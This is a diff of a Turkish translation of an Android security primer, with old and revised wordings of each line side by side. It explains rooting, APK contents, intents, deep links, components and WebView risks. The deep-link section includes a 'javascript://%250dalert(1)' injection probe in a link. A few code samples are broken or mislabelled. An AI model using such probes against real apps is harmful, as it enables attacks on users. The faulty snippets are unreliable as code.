* Cep **telefonu sağlayıcısı** tarafından eklenenler (onlardan satın alındıysa)
## Rootlama
Fiziksel bir Android cihaza kök erişim elde etmek için genellikle cihaza ve sürüme **özgü** olan 1 veya 2 **zafiyeti sömürmeniz gerekir**.\
Sömürü çalıştığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır.
Sömürü işe yaradığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır.
`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyası ile etkileşim kurmak ve **kök erişimi taleplerini işlemek için** kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur).
`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve **kök erişimi taleplerini işlemek için** kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur).
{% hint style="danger" %}
Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir
@ -80,10 +80,10 @@ Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir
### ROM'lar
**Özel bir firmware yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\
**OmniROM** ve **LineageOS**, kullanılan en popüler firmware'lerden ikisidir.
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\
**OmniROM** ve **LineageOS**, kullanılan en popüler yazılımlardan ikisidir.
Cihazın **özelleştirilmiş bir firmware yüklemek için kök erişim gerekli olmadığına** dikkat edin. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmaya izin verir.
Cihazın **özelleştirilmiş bir yazılım yüklemek için kök erişim gerekli olmadığı** unutulmamalıdır. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmalarına izin verir.
### Etkiler
@ -91,14 +91,14 @@ Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. K
## Android Uygulama Temelleri <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içerik çıkarılabilir ve görüntülenebilir).
- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içeriği çıkarılabilir ve görüntülenebilir).
- APK İçeriği (Eksiksiz Değil)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: derlenmiş kaynakları, biner XML gibi içeren.
- res/xml/files\_paths.xml
- META-INF/
- Sertifika burada bulunur!
- Sertifikanın bulunduğu yer burasıdır!
- **classes.dex**
- Uygulamanın varsayılan olarak yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir.
- lib/
@ -108,39 +108,39 @@ Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. K
- `x86`: X86 işlemciler için kod
- `mips`: Yalnızca MIPS işlemciler için kod
- assets/
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları saklar, ek kodları gizlemek için bazen kullanılan ek yerel kütüpheler veya DEX dosyalarını içerebilir.
- Uygulama tarafından gereken çeşitli dosyaları saklar, ekstra kodu gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek deneysel kütüphaneler veya DEX dosyalarını içerebilir.
- res/
- Derlenmiş olmayan kaynakları içerir.
### **Dalvik ve Smali**
Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi, Android Runtime (ART) daha yeni Android sürümlerinde devralır.
Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanılmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi yeni Android sürümlerinde Android Runtime (ART) devralır.
Tersine mühendislik için, **Smali** hayati öneme sahiptir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder.
Tersine mühendislik için **Smali** hayati öneme sahiptir. Bu, DEX bytecode'un insan tarafından okunabilir versiyonudur ve kaynak kodunu bytecode talimatlarına çevirerek montaj dili gibi davranır. Smali ve baksmali, bu bağlamda montaj ve montajdan çıkarma araçlarını ifade eder.
## İntentler
İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yoludur. Bu mesaj nesneleri aynı zamanda veri taşıyabilir ve HTTP iletişiminde kullanılan GET/POST istekleri gibi uygulamalar veya bileşenler arasında veri taşıyabilir.
İntentler, Android uygulamalarının bileşenleri arasında veya diğer uygulamalarla iletişim kurmanın temel yoludur. Bu mesaj nesneleri aynı zamanda uygulamalar veya bileşenler arasında veri taşıyabilir, HTTP iletişiminde kullanılan GET/POST istekleri gibi.
Yani bir İntent temelde **bileşenler arasında iletilen bir mesajdır**. İntentler **belirli bileşenlere veya uygulamalara yönlendirilebilir** veya **belirli bir alıcı olmadan gönderilebilir**.\
Basitçe İntent şunlar için kullanılabilir:
* Bir Etkinliği başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açmak
* Sistem ve uygulamalara değişiklikleri bildirmek için yayınlar olarak
* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak için
* ContentProvider'lar aracılığıyla veriye erişmek için
* Olayları işlemek için geri çağrılar olarak
* Bir Etkinliği başlatmak, genellikle bir uygulama için bir kullanıcı arayüzü açma
* Sistem ve uygulamaları değişiklikler hakkında bilgilendirmek için yayınlar
* Arkaplan hizmetini başlatmak, durdurmak ve iletişim kurmak
* ContentProvider'lar aracılığıyla veriye erişmek
* Olayları işlemek için geri çağrılar olarak kullanmak
Eğer zayıfsa, **İntentler çeşitli saldırıları gerçekleştirmek için kullanılabilir**.
### İntent-Filtre
**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşime geçebileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** içindedir, ancak Yayın Alıcıları için bunları kodlamak da bir seçenektir.
**İntent Filtreleri**, bir etkinlik, hizmet veya Yayın Alıcısının farklı türdeki İntent'lerle nasıl etkileşimde bulunabileceğini tanımlar. Temelde, bu bileşenlerin ne tür eylemler gerçekleştirebileceğini veya hangi yayınları işleyebileceğini açıklarlar. Bu filtreleri tanımlamanın temel yeri **AndroidManifest.xml dosyası** olmasına rağmen, Yayın Alıcıları için bunları kodlamak da bir seçenektir.
İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, belirtilen kriterleri karşılayan belirli İntent'leri işlemek için bileşenlere izin verir.
İntent Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verileri içerebilme olasılığı vardır. Bu yapı, bileşenlerin belirtilen kriterleri karşılayan belirli İntent'leri işlemesine olanak tanır.
Android bileşenlerinin (etkinlikler/hizmetler/content provider'lar/yayın alıcıları) kritik bir yönü, **genel görünürlük veya** **`exported`** ile belirtilen **`true`** değeri ile diğer uygulamalarla etkileşime girebilir. Ancak, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutmaları bir yol vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak başarılır.
Android bileşenlerinin (etkinlikler/hizmetler/content sağlayıcılar/yayın alıcıları) kritik bir yönü, görünürlükleri veya **genel durumları**dır. Bir bileşen, manifestte **`true`** değeri ile **`exported`** olarak ayarlanmışsa veya için bir İntent Filtresi belirtilmişse, diğer uygulamalarla etkileşime girebilir. Bununla birlikte, geliştiricilerin bu bileşenleri yanlışlıkla diğer uygulamalarla etkileşime girmesini engellemek için bu bileşenleri açıkça özel tutma yolu vardır. Bu, manifest tanımlamalarında **`exported`** özniteliğini **`false`** olarak ayarlayarak sağlanır.
Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebilmesini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir.
Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek için belirli izinleri gerektirebilir. **`izin`** özniteliği, yalnızca belirli izne sahip uygulamaların bileşene erişebileceğini zorlamak için ayarlanabilir, böylece kiminle etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı eklenir.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -148,13 +148,13 @@ Ayrıca, geliştiriciler bu bileşenlere erişimi daha da güvenli hale getirmek
```
### İmplit Intentler
Intentler, programatik olarak bir Intent yapıcısı kullanılarak oluşturulur:
Intentler, bir Intent yapıcısı kullanılarak programatik olarak oluşturulur:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Eylem** önceden belirtilen niyetin **ACTION\_SEND** ve **Ekstra**'sı bir mailto **Uri**'dir (Ekstra, niyetin beklediği ek bilgidir).
Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belirtilmelidir:
Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde bildirilmelidir:
```xml
<activity android:name="ShareActivity">
<intent-filter>
@ -163,9 +163,9 @@ Bu niyet, aşağıdaki örnekte olduğu gibi manifest dosyasının içinde belir
</intent-filter>
</activity>
```
Bir intent-filtresinin bir mesajı alabilmesi için **action**, **data** ve **category**'nin eşleşmesi gerekir.
Bir intent-filtresinin bir mesajı alabilmesi için **action**, **data** ve **category** eşleşmesi gerekmektedir.
"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu öncelik, **intent-filtresi bildirimi** içinde ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, bir "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**.
"Intent çözümleme" süreci, her mesajın hangi uygulamanın alması gerektiğini belirler. Bu süreç, **öncelik özniteliğini** dikkate alır, bu öncelik i**ntent-filtresi bildiriminde** ayarlanabilir ve **daha yüksek önceliğe sahip olan seçilir**. Bu öncelik -1000 ile 1000 arasında ayarlanabilir ve uygulamalar `SYSTEM_HIGH_PRIORITY` değerini kullanabilir. Bir **çakışma** ortaya çıkarsa, bir "seçici" Penceresi görünür, böylece **kullanıcı karar verebilir**.
### Açık İntentler
@ -173,7 +173,7 @@ Açık bir intent, hedeflediği sınıf adını belirtir:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
Diğer uygulamalarda önceden belirtilen niyete erişmek için şunu kullanabilirsiniz:
Diğer uygulamalarda önceden belirtilen amaçlara erişmek için şunu kullanabilirsiniz:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
@ -181,32 +181,32 @@ context.startService(intent);
```
### Bekleyen İzinler
Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen bir İzin oluşturulurken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama kurban adına **herhangi bir eylemi gerçekleştirebilir**.
Bu, diğer uygulamaların **uygulamanız adına hareketlerde bulunmasına izin verir**, uygulamanızın kimliğini ve izinlerini kullanarak. Bekleyen İzin oluşturulurken bir niyet ve gerçekleştirilecek eylem **belirtilmelidir**. Eğer **belirtilen niyet Açık değilse** (hangi niyetin onu çağırabileceğini belirtmez) **kötü niyetli bir uygulama belirtilen eylemi** kurban uygulama adına gerçekleştirebilir. Dahası, **bir eylem belirtilmemişse**, kötü niyetli uygulama **kurban adına herhangi bir eylemi gerçekleştirebilir**.
### Yayın İzinleri
Önceki izinlerin aksine, yayın izinleri **birden fazla uygulama tarafından alınabilir**. Ancak, API sürümü 14'ten itibaren, mesajı alması gereken uygulamayı belirtmek mümkündür Intent.setPackage kullanarak.
Önceki izinlerin aksine, yayın izinleri **birden fazla uygulama tarafından alınabilir**. Ancak API sürümü 14'ten itibaren, mesajı alması gereken uygulamayı belirtmek mümkündür **Intent.setPackage** kullanarak.
Alternatif olarak, yayın gönderirken **bir izin belirtmek de mümkündür**. Alıcı uygulamanın o izne sahip olması gerekecektir.
İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıralama**, alıcı içindeki **ayarlanmış önceliğe göre belirlenir**. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**.
İki tür Yayın vardır: **Normal** (asykron) ve **Sıralı** (senkron). **Sıra**, alıcı içindeki **ayarlanmış önceliğe göre belirlenir**. **Her uygulama Yayını işleyebilir, iletebilir veya bırakabilir**.
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanarak bir **yayın göndermek mümkündür**.\
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamadan çıkmamasını sağlayabilirsiniz**. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
`Context` sınıfından `sendBroadcast(intent, receiverPermission)` işlevini kullanarak bir yayın göndermek mümkündür.\
Ayrıca, **`LocalBroadCastManager`**'dan **`sendBroadcast`** işlevini kullanarak **mesajın uygulamayı terk etmemesini sağlayabilirsiniz**. Bunu kullanarak bir alıcı bileşenini dışa aktarmanıza gerek kalmaz.
### Kalıcı Yayınlar
Bu tür Yayınlar **gönderildikten uzun süre sonra erişilebilir**.\
Bu tür Yayınlar **gönderildikten uzun bir süre sonra erişilebilir**.\
Bu, API seviyesi 21'de kullanımdan kaldırıldı ve **kullanılmaması önerilir**.\
**Herhangi bir uygulamanın verileri izlemesine ve değiştirmesine izin verirler**.
Eğer **"sticky"** kelimesini içeren işlevler bulursanız, örneğin **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`**, **etkisini kontrol edin ve bunları kaldırmayı deneyin**.
Eğer **`sendStickyBroadcast`** veya **`sendStickyBroadcastAsUser`** gibi "sticky" kelimesini içeren işlevler bulursanız, **etkisini kontrol edin ve bunları kaldırmayı deneyin**.
## Derin Bağlantılar / URL şemaları
Android uygulamalarında, **derin bağlantılar** bir URL aracılığıyla doğrudan bir eylemi (Niyet) başlatmak için kullanılır. Bu, bir etkinlik içinde belirli bir **URL şemasının** bildirilmesiyle yapılır. Bir Android cihazı, bu şemayla bir URL'ye **erişmeye çalıştığında**, uygulama içinde belirtilen etkinlik başlatılır.
Şema, **`AndroidManifest.xml`** dosyasında belirtilmelidir:
Şema, **`AndroidManifest.xml`** dosyasında bildirilmelidir:
```xml
[...]
<activity android:name=".MyActivity">
@ -226,14 +226,14 @@ Ardından, veri alanında **ana bilgisayar (host)** ve **yol (path)** belirtebil
android:host="example"
/>
```
Web'den erişmek için bir bağlantı belirlemek mümkündür:
Web'den erişmek için bir bağlantı kurmak mümkündür:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
**Uygulamada yürütülecek kodu bulmak** için deeplink tarafından çağrılan etkinliğe gidin ve **`onNewIntent`** işlevini arayın.
Derin bağlantıları HTML sayfaları kullanmadan [çalıştırma](./#exploiting-schemes-deep-links) hakkında bilgi edinin.
[HTML sayfaları kullanmadan derin bağlantıları nasıl çağıracağınızı](./#exploiting-schemes-deep-links) öğrenin.
## AIDL - Android Arayüz Tanım Dili
@ -241,7 +241,7 @@ Derin bağlantıları HTML sayfaları kullanmadan [çalıştırma](./#exploiting
### Temel Kavramlar
- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları aramak için önemli bir alanı işaretler.
- **Bağlı Hizmetler**: Bu hizmetler, IPC için AIDL'yi kullanır ve etkinliklerin veya bileşenlerin bir hizmete bağlanmasını, isteklerde bulunmasını ve yanıtlar almasını sağlar. Hizmetin sınıfındaki `onBind` yöntemi etkileşimi başlatmak için kritiktir ve güvenlik açıkları arayışında önemli bir alan olarak işaretlenir.
- **Messenger**: Bağlı bir hizmet olarak çalışan Messenger, verilerin `onBind` yöntemi aracılığıyla işlenmesine odaklanarak IPC'yi kolaylaştırır. Bu yöntemi güvenli olmayan veri işleme veya hassas işlevlerin yürütülmesi açısından yakından incelemek önemlidir.
@ -255,7 +255,7 @@ Bunlar şunları içerir: **Etkinlikler, Hizmetler, Yayın Alıcılar ve Sağlay
Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamada birçok etkinlik olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
**Başlatıcı etkinlik**, uygulamanın ana giriş kapısı olup uygulamanın simgesine dokunduğunuzda başlatılan etkinliktir. Belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır:
**Başlatıcı etkinlik**, uygulamanın ana giriş kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -264,13 +264,13 @@ Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün
</intent-filter>
</activity>
```
### Bazı uygulamaların, arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar da dahil olmak üzere bir başlatıcı etkinliğine ihtiyacı olmayabilir.
### Bazı uygulamaların, arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar da dahil olmak üzere bir başlatıcı etkinliğine ihtiyacı yoktur.
### Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalar veya işlemler için erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Ancak, bir uygulamadan diğer bir uygulamaya bir etkinliğe erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntısına yol açabilir.
Ancak, başka bir uygulamadan bir etkinliğe erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntılarına yol açabilir.
Bir etkinliğin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve etkinliği kullanıcıyla etkileşime hazırlar.
@ -294,11 +294,11 @@ super.onCreate();
```
### Hizmetler
[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcılar farklı uygulamalara geçtiklerinde bile devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir.
[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcıların farklı uygulamalara geçiş yapmaları durumunda bile devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir.
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri iletimi için `onBind` yöntemi devreye girer.
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verileri getirme gibi işlemleri kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirmektir. Ayrıca, hizmetler diğer işlemlerin aynı cihazda erişebilmesi için **dışa aktarılabilir** hale getirilebilir. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir:
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verilerini almanın kullanıcının bir uygulayla etkileşimini engellemeden yapılmasıdır. Ayrıca, hizmetler diğer işlemlerin aynı cihazdaki erişimine olanak tanınarak **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -306,19 +306,19 @@ Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verileri
**Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve birden fazla uygulamanın sistemden gelen aynı iletilere yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir.
**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, alıcının hangi yayınları tetiklediğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın buna uygun şekilde tepki vermesini sağlar, örneğin, düşük pil uyarısına yanıt olarak davranışı ayarlar.
**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, hangi yayınların alıcıyı tetiklediğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın düşük pil uyarısına yanıt vererek davranışını ayarlamasına olanak tanır.
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar önceliklere göre yayına ulaşırlar. Ancak, herhangi bir uygulamanın bir yayını ele geçirmek için kendisini önceliklendirebileceği potansiyel güvenlik riskini göz önünde bulundurmak önemlidir.
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, alıcılar önceliklere göre yayına ulaşır. Ancak, herhangi bir uygulamanın kendisini önceliklendirerek bir yayını ele geçirmesine olanak tanıma potansiyel güvenlik riskine dikkat etmek önemlidir.
Bir alıcının işlevselliğini anlamak için sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir ve özellikle **Sıralı Yayınlar** içinde, alınan Intent'i değiştirebilecek veya düşürebilecek veri doğrulamasının gerekliliğini vurgular.
Bir alıcının işlevselliğini anlamak için, sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i değiştirebilir, özellikle **Sıralı Yayınlar** içinde, Intent'i değiştirebilir veya düşürebileceği için alıcılar tarafından veri doğrulamasının gerekliliğini vurgular.
### İçerik Sağlayıcı
**İçerik Sağlayıcıları**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik Sağlayıcıları, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişimine izin verir. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, uygulamanın manifestindeki **`grantUriPermission`** ayarları aracılığıyla sağlanabilir ve ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanır.
**İçerik Sağlayıcıları**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik sağlayıcıları, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişime olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanarak uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla verilebilir.
Güvenlik açıklarını önlemek için giriş doğrulaması son derece önemlidir, örneğin SQL enjeksiyonu gibi. İçerik Sağlayıcıları, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır.
Güvenlik açıklarını önlemek için giriş doğrulaması önemlidir, örneğin SQL enjeksiyonu. İçerik Sağlayıcıları, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır.
**FileProvider**, güvenli bir şekilde dosya paylaşımına odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır ve `android:exported` ve `android:resource` gibi klasör yapılandırmalarını işaret eden özellikleri kullanır. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir.
**FileProvider**, güvenli bir şekilde dosya paylaşımına odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır, `android:exported` ve `android:resource` klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir.
FileProvider için örnek manifest bildirimi:
```xml
@ -330,7 +330,7 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
Ve `filepaths.xml` dosyasında paylaşılan klasörleri belirtmenin bir örneği:
Ve paylaşılan klasörleri belirtme örneği için `filepaths.xml` dosyasında aşağıdaki gibi belirtilebilir:
```xml
<paths>
<files-path path="images/" name="myimages" />
@ -342,7 +342,7 @@ Daha fazla bilgi için şu kaynaklara bakabilirsiniz:
## WebViews
WebViews, Android uygulamalarının içindeki **mini web tarayıcıları** gibidir, içeriği web'den veya yerel dosyalardan çekerler. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır.
WebViews, Android uygulamalarının içinde **mini web tarayıcıları** gibi davranır, içeriği web'den veya yerel dosyalardan alır. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşır, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır.
Android, iki ana WebView türü sunar:
@ -353,7 +353,7 @@ Android, iki ana WebView türü sunar:
İçerik yükleme için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **güvenli olduğundan emin olmak** önemlidir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, ````setJavaScriptEnabled(false)```` ile JavaScript devre dışı bırakılarak XSS saldırıları engellenebilir.
JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasını sağlar ve bu işlem için yöntemlerin Android 4.2'den itibaren güvenlik için ````@JavascriptInterface```` ile işaretlenmesi gerekmektedir.
JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasını sağlar ve yöntemlerin güvenliği için Android 4.2'den itibaren ````@JavascriptInterface```` ile işaretlenmesi gerekmektedir.
İçeriğe erişime izin vermek (````setAllowContentAccess(true)````), WebViews'in İçerik Sağlayıcılara ulaşmasına izin verir, ancak içerik URL'lerinin güvenli olduğu doğrulanmadıkça bir risk oluşturabilir.
@ -368,11 +368,11 @@ Dosya erişimini kontrol etmek için:
### **Gelişmiş Güvenlik için Uygulama Doğrulaması**
- **Android 4.2'den itibaren**, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü amaçlı olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
- **Android 4.2**'den itibaren başlayarak, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü amaçlı olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
